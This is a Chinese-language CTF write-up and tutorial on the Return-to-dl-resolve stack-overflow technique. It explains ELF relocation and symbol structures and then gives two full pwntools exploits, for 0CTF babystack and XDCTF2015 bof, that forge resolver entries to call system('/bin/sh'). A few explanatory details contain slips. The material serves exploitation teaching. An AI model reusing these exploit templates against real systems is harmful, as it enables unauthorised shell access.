这个攻击方法 属于pwn中栈溢出的高级ROP技术。我之前在学这个知识的时候,学的 时一头雾水,而这几天在刷题,刷到了与之相关的 pwn 题目。于是便打算 将此知识点 详细 记录下来并分享!
一个典型的ELF文件包括 ELF Header,Sections,Section Header Table 和 Program Table。
我们可以用“readelf -S 程序名” 可以查看 程序节的 信息:
共有 29 个节头,从偏移量 0x1150 开始:
节头:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 9] .rel.dyn REL 080482a8 0002a8 000008 08 A 5 0 4 #.rel.dyn节是用于变量重定位
[10] .rel.plt REL 080482b0 0002b0 000018 08 AI 5 24 4 #.rel.plt节是用于函数重定位
[11] .init PROGBITS 080482c8 0002c8 000023 00 AX 0 0 4 #保存了程序运行前的初始化代码
[12] .plt PROGBITS 080482f0 0002f0 000040 04 AX 0 0 16 #.plt节是过程链接表。过程链接表把位置独立的函数调用重定向到绝对位置。
[13] .plt.got PROGBITS 08048330 000330 000008 00 AX 0 0 8
[16] .rodata PROGBITS 08048508 000508 000008 00 A 0 0 4 #.rodata:只读数据段,比如常量
[22] .dynamic DYNAMIC 08049f14 000f14 0000e8 08 WA 6 0 4 # 可执行文件参与动态链接,就会包含这个节
[23] .got PROGBITS 08049ffc 000ffc 000004 04 WA 0 0 4 #全局变量偏移
[24] .got.plt PROGBITS 0804a000 001000 000018 04 WA 0 0 4 #全局函数 偏移
[25] .data PROGBITS 0804a018 001018 000008 00 WA 0 0 4 #已初始化的全局变量和静态变量
[26] .bss NOBITS 0804a020 001020 000004 00 WA 0 0 1 #未初始化的全局变量和静态变量,所有被初始化成0的全局变量和静态变量
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings)
I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
O (extra OS processing required) o (OS specific), p (processor specific)
而如果一个可执行文件参与动态链接,它的程序头部表将包含类型为PT_DYNAMIC的段,它包含.dynamic节。(在上面代码段中 [22] 中可以看到)结构如下:
typedef struct {
Elf32_Sword d_tag;
union {
Elf32_Word d_val;
Elf32_Addr d_ptr;
} d_un;
} Elf32_Dyn;
我们可以用 readelf -d 程序名查看 .dynamic 节的信息:
这里我们重点 看 (STRTAB) (SYMTAB) (JMPREL) 就好。
Dynamic section at offset 0xf14 contains 24 entries:
标记 类型 名称/值
0x00000005 (STRTAB) 0x804822c #字符串表 内容包括. symtab和. debug节中的符号表
0x00000006 (SYMTAB) 0x80481cc # 符号表 #存放了程序中定义和引用的函数和全局变量的信息
0x00000017 (JMPREL) 0x80482b0 #可重定位表
我们分别来了解下 (JMPREL) (SYMTAB) (STRTAB):的结构。
(JMPREL)
typedef struct {
Elf32_Addr r_offset; // 对于可执行文件,此值为虚拟地址 函数got地址
Elf32_Word r_info; // 动态符号符号表索引
} Elf32_Rel;
#define ELF32_R_SYM(info) ((info)>>8)
#define ELF32_R_TYPE(info) ((unsigned char)(info))
#define ELF32_R_INFO(sym, type) (((sym)<<8)+(unsigned char)(type))
(SYMTAB)
typedef struct
{
Elf32_Word st_name; // Symbol name(string tbl index)
Elf32_Addr st_value; // Symbol value
Elf32_Word st_size; // Symbol size
unsigned char st_info; // Symbol type and binding
unsigned char st_other; // Symbol visibility under glibc>=2.2
Elf32_Section st_shndx; // Section index
} Elf32_Sym;
(STRTAB):
.dynstr节包含了动态链接的字符串。这个节以\x00作为开始和结尾,中间每个字符串也以\x00间隔。
pwndbg> x/10s 0x804822c
0x804822c:""
0x804822d:"libc.so.6"
0x8048237:"_IO_stdin_used"
0x8048246:"read"
0x804824b:"alarm"
0x8048251:"__libc_start_main"
0x8048263:"__gmon_start__"
0x8048272:"GLIBC_2.0"
0x804827c:""
0x804827d:""
用实例 建立上述结构间的联系,
我们将 2018_0CTF_babystack 拖入ida:
int __cdecl main()
{
alarm(0xAu);
sub_804843B();
return 0;
}
ssize_t sub_804843B()
{
char buf; // [esp+0h] [ebp-28h]
return read(0, &buf, 0x40u); //栈溢出漏洞
}
查询保护:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
分析:
没有输出,找不到write函数,所以无法进行内存泄露
没有提供libc,所以不可能计算偏移(ret2libc不可行)
开启NX保护,所有把shellcode布置到栈中的操作都不可行
程序有输入,但只有一次。
这里 便是 让我们只能 使用 Return-to-dl-resolve 攻击了。
在这之前 我们 来动态走下,来理解下,程序中的延迟绑定是怎样运行的。 我们 就拿 alarm.plt 学习吧!
► 0x804846d call alarm@plt <0x8048310>
seconds: 0xa
si 进入
接着 我们跳到了 .plt (或称 plt_0)节中( 080482f0)
这里 留意下 我们在下面构造payload的时候,返回地址 是覆盖 为了 .plt_0 即0x080480f0,所以当我们返回到这里然后 执行的时候,并不会执行 0x8048310地址与0x8048316地址中的指令,即使该函数已经延迟绑定过了,将会 再次进行绑定。
那里就两条指令,首先 push 进一个数 : 0x804a004指向的一个数,然后又跳到了 <0xf7fee000> 处。
0x80482f0 push dword ptr [0x804a004] #got[1]
0x80482f6 jmp dword ptr [0x804a008] <0xf7fee000> #got[2]
0x804a000是got.plt表的起始地址。
GOT表的前三项有特殊含义:
第一项是.dynamic段的地址,第二个是link_map的地址,第三个是_dl_runtime_resolve函数的地址,
第四项开始往后 就是函数的GOT表了
.got.plt:0804A000 _got_plt segment dword public 'DATA' use32
.got.plt:0804A000 assume cs:_got_plt
.got.plt:0804A000 ;org 804A000h
.got.plt:0804A000 dd offset stru_8049F14
.got.plt:0804A004 dword_804A004 dd 0 ; DATA XREF: sub_80482F0↑r
.got.plt:0804A008 dword_804A008 dd 0 ; DATA XREF: sub_80482F0+6↑r
.got.plt:0804A00C off_804A00C dd offset read ; DATA XREF: _read↑r
.got.plt:0804A010 off_804A010 dd offset alarm ; DATA XREF: _alarm↑r
.got.plt:0804A014 off_804A014 dd offset __libc_start_main
.got.plt:0804A014 ; DATA XREF: ___libc_start_main↑r
.got.plt:0804A014 _got_plt ends
所以 相当于执行 _dl_runtime_resolve(link_map,rel_offset)
我们来看下 _dl_runtime_resolve 源码:
我们在刚进入 alarm_plt中 push的 8 作为该函数 的第二个参数 reloc_arg ,got[1] 即0xf7fee000 link_map指针作为该函数 第一个参数。
_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
{
// 首先通过参数reloc_arg计算重定位入口,这里的JMPREL即.rel.plt,reloc_offset即reloc_arg
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
// 然后通过reloc->r_info找到.dynsym中对应的条目
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
// 这里还会检查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
// 接着通过strtab+sym->st_name找到符号表字符串,result为libc基地址
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
// value为libc基址加上要解析函数的偏移地址,也即实际地址
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
// 最后把value写入相应的GOT表条目中
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
即这里 我们可以推出 reloc_arg 是 重定位表中alarm函数距离 JMPREL节的偏移 即上面调试图中的 push 8 中的 8
我们可以用 readelf -r 程序名 查看函数重定位表的内容
重定位节 '.rel.plt' 位于偏移量 0x2b0 含有 3 个条目:
偏移量 信息 类型 符号值 符号名称
0804a00c 00000107 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0
0804a010 00000207 R_386_JUMP_SLOT 00000000 alarm@GLIBC_2.0
0804a014 00000407 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
我们计算下 :
0x00000017 (JMPREL) 0x80482b0
reloc_arg 8
0x80482b8就是 (JMPREL) 的数据结构
pwndbg> x/2wx 0x80482b0+8
0x80482b8:0x0804a0100x00000207 //其中 0x0804a010
这里是函数相对应的got地址,用来存放 延迟绑定后的 函数地址
然后 0x207 是JMPREL结构体中的r_offset(重定位入口的类型和符号)低8位表示重定位入口的偏移,高24位表示重定位入口的符号在.dynsym动态符号表中的下标。
alarm函数的r_info为0x207,0x207 >> 8 = 2,所以alarm函数在.dynsym动态符号表中的下标就是2
验证下:
pwndbg> x/4wx 0x80481cc+0x10*2 //0x80481cc 就是 .dynsym动态符号表 的地址
0x80481ec:0x0000001f0x000000000x000000000x00000012
我觉得在ida 中看 更清晰些:
而.dynsym 动态符号表中 的 st_name; 表示该成员在字符串表 .dynsym中 的偏移
我们来确定下 :.dynsym的地址加上 0x1f 中存的是不是 alarm 。当然 ,我们仍还是正确。
#0x00000005 (STRTAB) 0x804822c
pwndbg> x/s 0x804822c+0x1f
0x804824b:"alarm"
然后最后就是把延迟绑定后的 got地址存在了 (JMPREL)结构 的 Elf32_Addr r_offset 处。
基于上面我们的分析,Return-to-dl-resolve 攻击的漏洞利用方式,即是:
控制eip为PLT[0]的地址,只需传递一个index_arg参数
控制index_arg的大小,使reloc的位置落在可控地址内
伪造reloc的内容,使sym落在可控地址内
伪造sym的内容,使name落在可控地址内
伪造name为任意库函数,如system
所以我们 再程序分析
没有输出,找不到write函数,所以无法进行内存泄露
没有提供libc,所以不可能计算偏移(ret2libc不可行)
开启NX保护,所有把shellcode布置到栈中的操作都不可行
程序有输入,但只有一次。 // 一次 输入 getshell
所以 我们首先将 栈迁移到bss 段上,然后获取更多字节的输入,为 Return-to-dl-resolve 攻击 去布置 新 的栈的环境(bss段)。
详见 exp(注意 exp中 注释)
我看网上 我看有 关于 栈迁移和 Return-to-dl-resolve 的ROP构造工具,
但我目前觉得,最好 使用下面这种exp ,虽然原始,但很利于明白原理。
有没有发现,把它当模板的话,只需要 改下 eave_ret 地址和offset就 OK了
#coding:utf8
from pwn import *
#context.log_level = 'debug'
conn = process('./babystack')
elf = ELF('./babystack')
print "1 :栈迁移到 bss 段上*******************************************************************************"
read_plt = elf.plt['read'] # 0x8048300
offset = 0x28
leave_ret = 0x08048455 # ROPgadget --binary bof --only "leave|ret"
stack_size = 0x800
bss_addr = elf.bss() #0x0804a020
base_stage = bss_addr + stack_size #0x804a820
payload1 = 'a'*offset
payload1 += p32(base_stage)#pop ebp
payload1 += p32(read_plt)
payload1 += p32(leave_ret) #leave: mov esp,ebp; pop ebp
payload1 += p32(0)
payload1 += p32(base_stage)
payload1 += p32(100)
conn.send(payload1)
print "2 :Return-to-dl-resolve 准备*************************************************************************"
plt_0 = elf.get_section_by_name('.plt').header.sh_addr #0x80482f0 # objdump -d -j .plt babystack
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr #0x80482b0 # objdump -s -j .rel.plt babystack
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr #0x080481CC
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr #0x0804822C
print "2.1:伪造 alarm的重定位表爲 system的重定位表************************************************************"
alarm_got = elf.got['alarm']
index_offset = (base_stage + 28) - rel_plt # base_stage + 28指向fake_reloc,减去rel_plt即偏移
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) #动态符号表 0x10 对齐
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(alarm_got) + p32(r_info)
print "2.2:伪造 write的符號表表爲 system的符號表************************************************************"
st_name = (fake_sym_addr + 0x10) - dynstr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
#gdb.attach(conn)
print "3 :Return-to-dl-resolve 攻擊*************************************************************************"
canshu = "/bin/sh\x00"
payload2 = p32(0xdeadbeef) # 接上一个payload的leave->pop ebp ; ret
payload2 += p32(plt_0)
payload2 += p32(index_offset) # 我們 调试中的 push 20中的20
payload2 += 'aaaa'
payload2 += p32(base_stage + 80)
payload2 += 'a'*(28-len(payload2))
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'b' * align
payload2 += fake_sym # (base_stage+36)的位置
payload2 += "system\x00"
payload2 += 'a' * (80 - len(payload2))
payload2 += canshu
payload2 += 'a' * (100 - len(payload2))
print len(payload2)
conn.sendline(payload2)
conn.interactive()
getshell
检查文件属性 及 保护:
$ file bof
bof: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked,
interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=fc5e034a825421d264c9dea820942b910d3b7f69, not stripped
$ checksec bof
[*]
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
拖入ida:
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t v3; // eax
char buf[4]; // [esp+0h] [ebp-7Ch]
char v6; // [esp+18h] [ebp-64h]
int *v7; // [esp+70h] [ebp-Ch]
v7 = &argc;
strcpy(buf, "Welcome to XDCTF2015~!\n");
memset(&v6, 0, 0x4Cu);
setbuf(stdout, buf);
v3 = strlen(buf);
write(1, buf, v3); #我们 用 write.plt
vuln();
return 0;
}
ssize_t vuln()
{
char buf; // [esp+Ch] [ebp-6Ch]
setbuf(stdin, &buf);
return read(0, &buf, 0x100u); 存在栈溢出
}
很明显的 栈溢出漏洞。
offset 为 0x6c 我们可输入0x100,输入其实很长的,但目前 很是满足 Return-to-dl-resolve,
只需 改下 offset 和 leave_ret_addr 跑下。。
哦 对了,这次我们 使用 write 而不再是alarm ,所以我们还需更改下 elf.got['alarm] 为 elf.got['write']。
#coding:utf8
from pwn import *
elf = ELF('./bof')
#conn = process('./bof')
conn = remote("node3.buuoj.cn",29850)
print "************************************************************************************************"
offset = 0x6c
read_plt = elf.plt['read']
write_plt = elf.plt['write']
write_got = elf.got['write']
leave_ret = 0x08048445 # ROPgadget --binary bof --only "leave|ret"
stack_size = 0x800
bss_addr = elf.bss()
base_stage = bss_addr + stack_size
print "栈迁移到 bss 段上*******************************************************************************"
conn.recvuntil('Welcome to XDCTF2015~!\n')
payload1 = 'A' * offset
payload1 += p32(base_stage)
payload1 += p32(read_plt)
payload1 += p32(leave_ret) # mov esp, ebp ; pop ebp ;将esp指向base_stage
payload1 += p32(0)
payload1 += p32(base_stage)
payload1 += p32(100)
conn.sendline(payload1)
#gdb.attach(conn)
print "2 :Return-to-dl-resolve 准备*************************************************************************"
plt_0 = elf.get_section_by_name('.plt').header.sh_addr #0x08048370 # objdump -d -j .plt bof
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr #0x08048324 # objdump -s -j .rel.plt bof
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr #0x080481cc
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr #0x0804826c
print "2.1:伪造 alarm的重定位表爲 system的重定位表************************************************************"
index_offset = (base_stage + 28) - rel_plt # base_stage + 28指向fake_reloc,减去rel_plt即偏移
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
print "2.2:伪造 write的符號表表爲 system的符號表************************************************************"
st_name = (fake_sym_addr + 0x10) - dynstr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
print "3 :Return-to-dl-resolve 攻擊*************************************************************************"
canshu = "/bin/sh\x00"
payload2 = p32(0xdeadbeef) # 接上一个payload的leave->pop ebp ; ret
payload2 += p32(plt_0) #fixup(struct link_map *l,ELFW(Word) reloc_arg)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(base_stage + 80)
payload2 += 'a'*(28-len(payload2))
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'B' * align
payload2 += fake_sym # (base_stage+36)的位置
payload2 += "system\x00"
payload2 += 'A' * (80 - len(payload2))
payload2 += canshu
payload2 += 'A' * (100 - len(payload2))
conn.sendline(payload2)
conn.interactive()
一把梭,getshell。
http://pwn4.fun/2016/11/09/Return-to-dl-resolve/
https://fmyy.pro/2020/01/15/StackOverFlow/Advanced-ROP/
https://www.dazhuanlan.com/2019/12/12/5df1782a02437/
https://www.anquanke.com/post/id/184099#h2-4
https://www.cnblogs.com/elvirangel/p/8994799.html#_label0
https://bbs.pediy.com/thread-227034.htm
本文作者:『木头』
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/129547.html